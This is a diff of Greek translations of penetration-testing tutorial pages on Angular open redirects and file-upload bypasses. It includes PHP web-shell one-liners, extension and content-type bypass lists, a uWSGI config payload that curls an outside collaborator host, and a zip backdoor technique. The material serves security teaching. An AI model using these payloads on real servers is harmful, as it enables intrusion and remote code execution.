Αυτό διαφέρει από τη μέθοδο `assign()` καθώς μετά τη χρήση του `window.location.replace()`, η τρέχουσα σελίδα δεν θα αποθηκευτεί στην Ιστορία της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο.
|
||||
Αυτό διαφέρει από τη μέθοδο `assign()` καθώς μετά τη χρήση του `window.location.replace()`, η τρέχουσα σελίδα δεν θα αποθηκευτεί στο ιστορικό της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
|
||||
```
|
||||
* `window.open()`
|
||||
|
||||
Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει τον πόρο που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία για να ενεργοποιήσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης.
|
||||
Η μέθοδος `window.open()` παίρνει μια διεύθυνση URL και φορτώνει την πηγή που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία για να ενεργοποιήσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
|
||||
//app.component.html
|
||||
<button type="button" (click)="goToUrl()">Click me!</button>
|
||||
```
|
||||
* Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση `Location` του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η `Location` είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL του περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - `go()`, `replaceState()`, και `prepareExternalUrl()`. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα:
|
||||
* Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση `Location` του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. Η `Location` είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL ενός περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL - `go()`, `replaceState()`, και `prepareExternalUrl()`. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα:
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -558,7 +558,7 @@ console.log(this.location.go("http://google.com/about"));
|
||||
```
|
||||
|
||||
Αποτέλεσμα: `http://localhost:4200/http://google.com/about`
|
||||
* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει επιπλέον ευπάθειες στην εφαρμογή:
|
||||
* Η κλάση `Router` του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει καμία επιπλέον ευπάθεια στην εφαρμογή:
|
||||
|
||||
```jsx
|
||||
//app-routing.module.ts
|
||||
|
@ -21,7 +21,7 @@
|
||||
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγούμενες** αναφερόμενες **επεκτάσεις**_)
|
||||
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερόμενες **επεκτάσεις**_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε μια καλύτερη payload._
|
||||
4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε ένα καλύτερο payload._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,12 +40,12 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. Προσθέστε **μια άλλη στρώση επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||
5. Προσθέστε **ένα άλλο επίπεδο επεκτάσεων** στον προηγούμενο έλεγχο:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Δοκιμάστε να βάλετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για την εκμετάλλευση κακοδιαμορφώσεων του Apache όπου οτιδήποτε με επέκταση **.php** θα εκτελεί κώδικα):
|
||||
6. Δοκιμάστε να τοποθετήσετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για την εκμετάλλευση κακοδιαμορφώσεων του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
|
||||
- _ex: file.php.png_
|
||||
7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψει περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”)
|
||||
7. Χρησιμοποιώντας **NTFS alternate data stream (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψει περαιτέρω περιορισμούς (.π.χ. “file.asp::$data.”)
|
||||
8. Δοκιμάστε να σπάσετε τα όρια του ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
@ -61,36 +61,36 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Παρακάμψτε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας** **Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Παρακάμψτε τους ελέγχους **Content-Type** ρυθμίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Παρακάμψτε τον έλεγχο **magic number** προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ή μπορείτε επίσης να **εισάγετε την payload απευθείας** σε μια εικόνα:\
|
||||
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- Αν **συμπίεση προστίθεται στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Η ιστοσελίδα μπορεί επίσης να **αλλάζει το μέγεθος** της **εικόνας**, χρησιμοποιώντας για παράδειγμα τις συναρτήσεις PHP-GD `imagecopyresized` ή `imagecopyresampled`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική IDAT chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- Μια άλλη τεχνική για να δημιουργήσετε μια payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- Μια άλλη τεχνική για να δημιουργήσετε ένα payload που **επιβιώνει σε αλλαγές μεγέθους εικόνας**, χρησιμοποιώντας τη συνάρτηση PHP-GD `thumbnailImage`. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική tEXt chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
|
||||
- [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
|
||||
- Βρείτε μια ευπάθεια για να **μετονομάσετε** το αρχείο που έχει ήδη ανέβει (για να αλλάξετε την επέκταση).
|
||||
- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε την backdoor.
|
||||
- Βρείτε μια ευπάθεια **Local File Inclusion** για να εκτελέσετε το backdoor.
|
||||
- **Πιθανή αποκάλυψη πληροφοριών**:
|
||||
1. Ανεβάστε **πολλές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||
1. Ανεβάστε **αρκετές φορές** (και ταυτόχρονα) το **ίδιο αρχείο** με το **ίδιο όνομα**
|
||||
2. Ανεβάστε ένα αρχείο με το **όνομα** ενός **αρχείου** ή **φακέλου** που **υπάρχει ήδη**
|
||||
3. Ανεβάζοντας ένα αρχείο με **“.”, “..”, ή “…” ως όνομα**. Για παράδειγμα, στο Apache σε **Windows**, αν η εφαρμογή αποθηκεύει τα ανεβασμένα αρχεία στον φάκελο “/www/uploads/”, το όνομα “.” θα δημιουργήσει ένα αρχείο με το όνομα “uploads” στον φάκελο “/www/”.
|
||||
4. Ανεβάστε ένα αρχείο που μπορεί να μην διαγραφεί εύκολα όπως **“…:.jpg”** σε **NTFS**. (Windows)
|
||||
5. Ανεβάστε ένα αρχείο σε **Windows** με **μη έγκυρους χαρακτήρες** όπως `|<>*?”` στο όνομά του. (Windows)
|
||||
6. Ανεβάστε ένα αρχείο σε **Windows** χρησιμοποιώντας **καταχωρημένα** (**απαγορευμένα**) **ονόματα** όπως CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, και LPT9.
|
||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ακούσια ανοιχτεί από το θύμα.
|
||||
- Δοκιμάστε επίσης να **ανεβάσετε ένα εκτελέσιμο** (.exe) ή ένα **.html** (λιγότερο ύποπτο) που **θα εκτελέσει κώδικα** όταν ανοιχτεί τυχαία από το θύμα.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP διακομιστή**, [ρίξτε μια ματιά στο κόλπο **.htaccess** για να εκτελέσετε κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP διακομιστή**, [ρίξτε μια ματιά στο κόλπο **.config** για να εκτελέσετε κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **PHP server**, [ρίξτε μια ματιά στο κόλπο **.htaccess** για να εκτελέσετε κώδικα](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
Αν προσπαθείτε να ανεβάσετε αρχεία σε έναν **ASP server**, [ρίξτε μια ματιά στο κόλπο **.config** για να εκτελέσετε κώδικα](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Τα αρχεία `.phar` είναι όπως τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
|
||||
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές.
|
||||
Η εκτέλεση του payload συμβαίνει κατά τη διάρκεια της ανάλυσης του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο πρέπει να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές.
|
||||
|
||||
Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
Σε ορισμένες περιπτώσεις, μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατεβούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
||||
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για **λήψη αρχείων** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα ληφθούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
|
||||
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
|
||||
Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτήν την έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
@ -177,7 +177,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
|
||||
- [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποια PDF που θα εκτελούν αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
|
||||
- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό**
|
||||
- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό πρόγραμμα**
|
||||
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων
|
||||
|
||||
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
@ -189,7 +189,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
5. **XML**: XXE
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση
|
||||
8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS)
|
||||
8. **PNG / JPEG**: Επίθεση pixel flood (DoS)
|
||||
9. **ZIP**: RCE μέσω LFI / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
@ -204,7 +204,7 @@ https://github.com/portswigger/upload-scanner
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||
Ανατρέξτε σε [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||
|
||||
### Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση
|
||||
|
||||
@ -263,7 +263,7 @@ system($cmd);
|
||||
}?>
|
||||
```
|
||||
|
||||
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συγκεντρώνεται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
|
||||
2. **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
@ -299,7 +299,7 @@ pop graphic-context
|
||||
|
||||
Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
|
||||
|
||||
Η κύρια χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προέρχεται από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, τηρώντας τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
|
||||
Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προέρχεται από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, τηρώντας τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
|
||||
|
||||
Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.
|
||||
|
||||
|
@ -6,9 +6,9 @@
|
||||
|
||||
